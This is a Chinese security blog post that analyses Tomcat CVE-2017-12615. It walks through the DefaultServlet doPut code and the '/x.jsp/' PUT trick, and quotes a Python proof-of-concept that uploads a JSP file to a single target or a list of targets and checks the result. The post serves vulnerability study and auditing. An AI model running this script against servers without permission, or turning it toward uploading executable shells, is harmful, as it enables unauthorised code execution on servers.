java代码审计-不安全的配置-Tomcat任意文件写入(CVE-2017-12615)

Tomcat任意文件写入(CVE-2017-12615)

影响范围:Apache Tomcat 7.0.0 - 7.0.79 (windows环境)

        当 Tomcat 运行在 Windows 操作系统时,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。

        Tomcat 在处理请求时有两个默认的 Servlet,一个是 DefaultServelt,另一个是JspServlet。两个 Servlet 被配置在 Tomcat 的 web.xml 中。

<servlet> <servlet-name>default</servlet-name> <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class> <init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>listings</param-name> <param-value>false</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet>
<servlet> <servlet-name>jsp</servlet-name> <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class> <init-param> <param-name>fork</param-name> <param-value>false</param-value> </init-param> <init-param> <param-name>xpoweredBy</param-name> <param-value>false</param-value> </init-param> <load-on-startup>3</load-on-startup> </servlet

DefaultServelt与JspServlet的映射规则

 <servlet-mapping> <servlet-name>default</servlet-name> <url-pattern>/</url-pattern> </servlet-mapping> <!-- The mappings for the JSP servlet --> <servlet-mapping> <servlet-name>jsp</servlet-name> <url-pattern>*.jsp</url-pattern> <url-pattern>*.jspx</url-pattern> 
</servlet-mapping>

在DefaultServlet中有对put请求的处理方法,代码如下

protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {if (this.readOnly) {resp.sendError(403);} else {String path = this.getRelativePath(req);WebResource resource = this.resources.getResource(path);DefaultServlet.Range range = this.parseContentRange(req, resp);Object resourceInputStream = null;
​try {if (range != null) {File contentFile = this.executePartialPut(req, range, path);resourceInputStream = new FileInputStream(contentFile);} else {resourceInputStream = req.getInputStream();}
​if (this.resources.write(path, (InputStream)resourceInputStream, true)) {if (resource.exists()) {resp.setStatus(204);} else {resp.setStatus(201);}} else {resp.sendError(409);}} finally {if (resourceInputStream != null) {try {((InputStream)resourceInputStream).close();} catch (IOException var13) {}}
​}
​}

这段代码是一个Java Servlet中的doPut()方法,用于处理HTTP PUT请求。具体来说,它用于更新或创建Web资源。

首先,代码检查了是否设置为只读模式。如果是只读模式,则通过resp.sendError(403)返回HTTP 403 Forbidden错误。

如果不是只读模式,则继续执行PUT请求的处理逻辑。首先,获取请求路径path,然后使用this.resources.getResource(path)从资源管理器中获取与该路径对应的Web资源对象,赋值给resource变量。

接下来,代码解析Content-Range请求头,以确定PUT请求的范围。如果存在范围,则执行部分更新操作,并将更新后的内容写入到临时文件中。然后,将该临时文件作为输入流赋值给resourceInputStream变量。如果没有范围,则直接使用请求的输入流作为resourceInputStream

然后,代码调用this.resources.write(path, (InputStream)resourceInputStream, true)方法,将输入流中的内容写入到指定的Web资源中。如果写入成功,则根据资源是否已存在返回相应的HTTP状态码(204表示资源已存在且成功更新,201表示资源创建成功)。如果写入失败,则返回HTTP 409 Conflict错误。

最后,在finally块中关闭resourceInputStream流。

请注意,我们无法提供完整的上下文,因此某些调用的具体实现细节可能无法确定。以上是根据提供的代码片段给出的大致解释。如果需要更多具体细节,请提供相关代码的完整上下文。

该方法的开端就判断了一个 readOnly 属性,当结果为 true 时会直接返回 403,但如果readOnly为false 那这段程序处理的逻辑是怎样的?

在web.xml将这个类(DefaultServlet)的readOnly设置为false

<init-param> <param-name>readonly</param-name> <param-value>false</param-value> 
</init-param>

        关键的代码在于 resources.write(path, resourceInputStream, true)的作用是将resourceInputStream中的资源内容写入到指定的path路径中的文件中,并且以追加的方式进行写入操作。

这里就有理由怀疑是否存在任意文件上传漏洞了,因为path与resourceInputStream为用户可控。

具体的漏洞利用复现请参考下面的文章,写的非常棒!

Tomcat任意文件写入(CVE-2017-12615)漏洞复现-含POC和EXP - 纸机 - 博客园 (cnblogs.com)icon-default.png?t=N7T8https://www.cnblogs.com/confidant/p/15440233.html

注1:这里提一下的为什么要get /1.jsp/而不是/1.jsp,因为当请求路径为/1.jsp/时,首先根据</servlet-mapping>,匹配到的是default,若请求路径为`/1.jsp则匹配的servlet为jsp,这样就无法进入doput方法。

注2:获取靶场环境中catalina包(内含defaultservlet)。将此容器环境中tomcat的catalina包拉取,拉取下来做代码分析。

最后学习大佬的poc编写

#CVE-2017-12615 POC
__author__ = '纸机'
import requests
import optparse
import os
​
parse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT] [-f FILE]')
parse.add_option('-u','--url',dest='URL',help='target url')
parse.add_option('-p','--port',dest='PORT',help='target port[default:8080]',default='8080')
parse.add_option('-f',dest='FILE',help='target list')
​
options,args = parse.parse_args()
#print(options)
#验证参数是否完整
if (not options.URL or not options.PORT) and not options.FILE:print('Usage:python3 CVE-2017-12615-POC.py [-u url] [-p port] [-f FILE]\n')exit('CVE-2017-12615-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')
​
filename = '/hello.jsp'
​
#测试数据
data = 'hello'
​
#提交PUT请求
#resp = requests.post(url1,headers=headers,data=data)
​
#验证文件是否上传成功
#response = requests.get(url2)
#上传文件
def upload(url):try:response = requests.put(url+filename+'/',data=data)return 1except Exception as e:print("[-] {0} 连接失败".format(url))return 0
def checking(url):try:#验证文件是否上传成功response = requests.get(url+filename)#print(url+filename)if response.status_code == 200 and 'hello' in response.text:print('[+] {0} 存在CVE-2017-12615 Tomcat 任意文件读写漏洞'.format(url))else:print('[-] {0} 不存在CVE-2017-12615 Tomcat 任意文件读写漏洞'.format(url))except Exception as e:#print(e)print("[-] {0} 连接失败".format(url))
if options.FILE and os.path.exists(options.FILE):with open(options.FILE) as f:urls = f.readlines()#print(urls)for url in urls:url = str(url).replace('\n', '').replace('\r', '').strip()if upload(url) == 1:checking(url)
elif options.FILE and not os.path.exists(options.FILE):print('[-] {0} 文件不存在'.format(options.FILE))
else:#上传链接url = options.URL+':'+options.PORTif upload(url) == 1:checking(url)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/173566.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

centos7 部署 Flink

1. 准备 安装的前提是虚拟机里已安装了jdk 去官网下载 Flink 所有版本下载地址&#xff1a;https://archive.apache.org/dist/flink/ 找到下图的安装包&#xff0c;下载即可 下载完后&#xff0c;将其上传至虚拟机的某个地方&#xff0c;本人将其放在 /home/flink/ 下 解压…

帮你快速解锁忘记密码手机的十个工具

将手机解锁到任时候都会让人感觉呼吸新鲜空气。这就像摆脱无形的锁链一样&#xff0c;让您有权选择并避免那些讨厌的限制。但如何解锁手机呢&#xff1f;这就是解锁软件发挥作用的地方。这些方便的工具可以帮助您摆脱束缚并打开一个充满可能性的世界。 解锁手机的合法性 现在&…

分布式理论和分布式锁知识点总结

文章目录 (一) 分布式理论算法和协议1&#xff09;CAP理论总结 2&#xff09;BASE理论BASE 理论的核心思想基本可用软状态最终一致性 3&#xff09;Paxos算法Basic Paxos 算法4&#xff09; Raft算法1 拜占庭将军 5&#xff09;Gossip协议 (二) 分布式锁分布式锁应该具备哪些条…

关于数据中台的理解和思考

一、什么是数据中台 数据中台是指通过数据技术&#xff0c;对海量数据进行采集、计算、存储、加工&#xff0c;同时统一标准和口径。把数据统一后&#xff0c;会形成标准数据&#xff0c;再进行存储&#xff0c;形成大数据资产层&#xff0c;进而为客户提供高效的、可复用的服…

心血管疾病药物不良反应不容忽视,华大基因基因检测辅助降低风险!

随着医疗技术的不断进步&#xff0c;个体化用药已经成为药物治疗的新趋势。在此趋势下&#xff0c;华大基因基因检测基于药物基因组学的药物选择和个性化用药方案&#xff0c;为心血管疾病患者的临床治疗提供了新机会&#xff0c;同时可以更好地帮助患者控制心血管疾病&#xf…

【精选】VMware部署ESXI6.5 vCenter Server详解

VMware部署ESXI6.5 vCenter Server 一、ESXi主机介绍1、虚拟机的好处2、为什么要使用虚拟机 二、虚拟化服务器概述1、VSphere物理架构2、体系架构3、VMware vSphere 组件 三、ESXi安装环境1、安装步骤2、使用VMware新建ESXi主机3、初始环境安装 四、创建虚拟机五、安装部署VMwa…

数据结构OJ题

目录 1.字符串左旋 2.字符串旋转结果 3.旋转数组 4.移除元素 本篇主要是讲解一些OJ题目。 1.字符串左旋 字符串左旋 实现一个函数&#xff0c;可以左旋字符串中的k个字符 例如&#xff1a; ABCD左旋一个字符得到BCDA ABCD左旋两个字符得到CDAB 方法1【暴力求解】 翻转1…

[hadoop全分布部署]安装Hadoop、配置Hadoop 配置文件②

&#x1f468;‍&#x1f393;&#x1f468;‍&#x1f393;博主&#xff1a;发量不足 个人简介&#xff1a;耐心&#xff0c;自信来源于你强大的思想和知识基础&#xff01;&#xff01; &#x1f4d1;&#x1f4d1;本期更新内容&#xff1a;安装Hadoop、配置Hadoop 配置文件…

MySQL总结 (思维导图,常用)

一、常见的增删改查 二、约束&#xff08;五种&#xff09; 三、聚合查询 1、聚合函数 2、group by 和 having 3、联合查询 案例表&#xff1a; drop table if exists classes; create table classes (id int primary key auto_increment,name varchar(20) ); insert into …

2023.10.28 关于 synchronized 原理

目录 synchronized 特性 synchronized 优化机制 锁升级&#xff08;锁膨胀&#xff09; 其他优化机制 锁消除 锁粗化 synchronized 特性 开始时是乐观锁&#xff0c;如果锁冲突频繁&#xff0c;就转为悲观锁开始是轻量级锁&#xff0c;如果锁被持有的时间较长&#xff0c…

大厂面试题-JVM为什么使用元空间替换了永久代?

目录 面试解析 问题答案 面试解析 我们都知道Java8以及以后的版本中&#xff0c;JVM运行时数据区的结构都在慢慢调整和优化。但实际上这些变化&#xff0c;对于业务开发的小伙伴来说&#xff0c;没有任何影响。 因此我可以说&#xff0c;99%的人都回答不出这个问题。 但是…

k8s快速部署nacos2.2.0集群

nacos2.2.0集群部署。nacos-headless内部集群端口服务&#xff0c;nacos-service为了方便ingress转发提供给用户web界面操作&#xff0c;requiredDuringSchedulingIgnoredDuringExecution强制反亲和禁止同一个节点部署nacos实列。 1、数据库导入nacos的sql # 创建数据库 crea…

Python 编写 Flink 应用程序经验记录(Flink1.17.1)

目录 官方API文档 提交作业到集群运行 官方示例 环境 编写一个 Flink Python Table API 程序 执行一个 Flink Python Table API 程序 实例处理Kafka后入库到Mysql 下载依赖 flink-kafka jar 读取kafka数据 写入mysql数据 flink-mysql jar 官方API文档 https://nigh…

离线语音通断器开发-稳定之后顺应新需求

使用云知声的US516p6方案开发了一系列的离线语音通断器&#xff0c;目前已经取得了不小的收获&#xff0c;有1路的&#xff0c;3路的&#xff0c;4路的&#xff0c;唛头和扬声器包括唛头线材也在不断的更新打磨中找到了效果特别好的供应商。 离线语音通断器&#xff0c;家用控…

单目深度估计之图像重构原理解析

一、参考资料 浅析自监督深度估计中的光度损失(Photometric Loss) 二、图像重构原理 设输入位姿估计网络的3帧连续单目序列为 < I t − 1 , I t , I t 1 > <I_{t-1},I_{t},I_{t1}> <It−1​,It​,It1​>&#xff0c;其中 t t t 为时间索引&#xff0c;…

R语言代码示例

以下是一个使用R语言和httrOAuth库的下载器程序&#xff0c;用于下载的内容。程序使用以下代码。 # 安装和加载必要的库 install.packages("httr") install.packages("httrOAuth") library(httr) library(httrOAuth) ​ # 设置 http_proxy <- "du…

docker - window Docker Desktop升级

文章目录 前言docker - window Docker Desktop升级 前言 如果您觉得有用的话&#xff0c;记得给博主点个赞&#xff0c;评论&#xff0c;收藏一键三连啊&#xff0c;写作不易啊^ _ ^。   而且听说点赞的人每天的运气都不会太差&#xff0c;实在白嫖的话&#xff0c;那欢迎常来…

大厂面试题-JVM中的三色标记法是什么?

目录 问题分析 问题答案 问题分析 三色标记法是Java虚拟机(JVM)中垃圾回收算法的一种&#xff0c;主要用来标记内存中存活和需要回收的对象。 它的好处是&#xff0c;可以让JVM不发生或仅短时间发生STW(Stop The World)&#xff0c;从而达到清除JVM内存垃圾的目的&#xff…

Java 入门指南:使用 Docker 创建容器化 Spring Boot 应用程序

文章目录 步骤 1: 准备工作步骤 2: 克隆 Spring Boot 应用程序步骤 3: 创建 Dockerfile步骤 4: 构建 Docker 映像步骤 5: 运行容器步骤 6: 链接到本地数据库步骤 7: 使用 Docker Compose 运行多个容器步骤 8: 设置 CI/CD 管道结论 &#x1f388;个人主页&#xff1a;程序员 小侯…

Bayes决策:身高与体重特征进行性别分类

代码与文件请从这里下载&#xff1a;Auorui/Pattern-recognition-programming: 模式识别编程 (github.com) 简述 分别依照身高、体重数据作为特征&#xff0c;在正态分布假设下利用最大似然法估计分布密度参数&#xff0c;建立最小错误率Bayes分类器&#xff0c;写出得到的决…